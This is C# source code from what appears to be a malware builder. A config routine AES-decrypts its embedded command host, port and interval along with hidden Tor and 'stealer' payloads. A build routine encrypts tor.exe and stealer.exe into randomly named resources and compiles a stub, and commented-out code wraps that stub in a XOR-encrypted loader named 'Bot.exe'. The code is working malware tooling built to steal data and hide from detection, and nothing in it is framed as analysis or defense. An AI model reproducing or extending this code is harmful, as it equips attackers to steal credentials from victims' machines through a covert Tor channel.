public CConfig() { #if DEBUG Host = "127.0.0.1"; Port = 81; Interval = 1 * 60000; #else AES_Key = "{AES_KEY_HERE}"; CAES AES = new CAES(AES_Key); string[] arr_strSettings = AES.Decrypt("{SETTINGS_HERE}").Split('|'); /* * [0] = Host * [1] = Port * [2] = Interval */ Host = arr_strSettings[0]; if (!int.TryParse(arr_strSettings[1], out this.Port)) { return; } if (!int.TryParse(arr_strSettings[2], out this.Interval)) { return; } this.Interval *= 60000; try { ResourceManager rmManager = new ResourceManager("{RAND_RES_NAME}", Assembly.GetExecutingAssembly()); Tor_Binary = AES.Decrypt((byte[])rmManager.GetObject("{RAND_TOR_NAME}")); Stealer_Binary = AES.Decrypt((byte[])rmManager.GetObject("{RAND_STEALER_NAME}")); rmManager.ReleaseAllResources(); } catch { Environment.Exit(0); } #endif }
public bool BuildBin() { if (!File.Exists("tor.exe")) { MessageBox.Show("Tor doesnt exist."); return(false); } try { String[] arr_strStub = this.ReadCode("Stub"); if (arr_strStub == null) { return(false); } String strAESKey = CUtils.RandomString(CUtils.RandomInt(12, 24)); if (OnLog != null) { OnLog.Invoke("Compiling Stub..."); } Byte[] arr_bTorBuffer, arr_bStealerBuffer = null; //Read Tor structure in-to array. arr_bTorBuffer = File.ReadAllBytes("tor.exe"); CAES AES = new CAES(strAESKey); //Encrypt Tor structure arr_bTorBuffer = AES.Encrypt(arr_bTorBuffer); //Read Stealer structure in-to array arr_bStealerBuffer = File.ReadAllBytes("stealer.exe"); //Encrypt Stealer structure arr_bStealerBuffer = AES.Encrypt(arr_bStealerBuffer); String strRandResName, strRandTorName, strRandStealerName; strRandResName = CUtils.RandomString(CUtils.RandomInt(15, 32)); strRandTorName = CUtils.RandomString(CUtils.RandomInt(15, 32)); strRandStealerName = CUtils.RandomString(CUtils.RandomInt(14, 32)); using (ResourceWriter rwWriter = new ResourceWriter(String.Format("{0}.resources", strRandResName))) { rwWriter.AddResource(strRandTorName, arr_bTorBuffer); rwWriter.AddResource(strRandStealerName, arr_bStealerBuffer); } for (int i = 0; i < arr_strStub.Length; i++) { if (arr_strStub[i].Contains("{SETTINGS_HERE}")) { string strSettings = AES.Encrypt(string.Format("{0}|{1}|{2}", m_strHost, m_strPort, m_iInterval)); arr_strStub[i] = arr_strStub[i].Replace("{SETTINGS_HERE}", strSettings); arr_strStub[i] = arr_strStub[i].Replace("{AES_KEY_HERE}", strAESKey); arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName); arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName); arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName); arr_strStub[i] = arr_strStub[i].Replace("{MUTEX_HERE}", CUtils.RandomString(16)); } /*if (arr_strStub[i].Contains("{HOST_HERE}")) * { * arr_strStub[i] = arr_strStub[i].Replace("{HOST_HERE}", m_strHost); * arr_strStub[i] = arr_strStub[i].Replace("{PAGE_HERE}", m_strPage); * arr_strStub[i] = arr_strStub[i].Replace("{INTERVAL_HERE}", m_iInterval.ToString()); * arr_strStub[i] = arr_strStub[i].Replace("{XOR_KEY}", strXorKey); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName); * }*/ } if (CCompiler.CompileFromSource(arr_strStub, "Stub.exe", m_bIsDebug, null, new string[] { String.Format("{0}.resources", strRandResName) })) { if (OnLog != null) { OnLog.Invoke("Stub compiled."); } /*String strPayloadKey = CUtils.RandomString(CUtils.RandomInt(12, 24)); * * byte[] arr_bStub = CUtils.Compress(CUtils.XorCrypt(File.ReadAllBytes("Stub.exe"), strPayloadKey)); * * using (ResourceWriter rwWriter = new ResourceWriter("res.resources")) * { * rwWriter.AddResource("payload", arr_bStub); * } * * String[] arr_strLoader = this.ReadCode("Loader"); * * for (int i = 0; i < arr_strLoader.Length; i++) * { * if (arr_strLoader[i].Contains("{XOR_KEY}")) arr_strLoader[i] = arr_strLoader[i].Replace("{XOR_KEY}", strPayloadKey); * } * * //File.Delete("Stub.exe"); * * if (OnLog != null) OnLog.Invoke("Compiling Loader..."); * if (CCompiler.CompileFromSource(arr_strLoader, "Bot.exe", null, new string[] { "res.resources" })) * { * if (OnLog != null) OnLog.Invoke("Loader compiled."); * return true; * }*/ return(true); } else { if (OnLog != null) { OnLog.Invoke("Compilation failed."); } } } catch { } return(false); }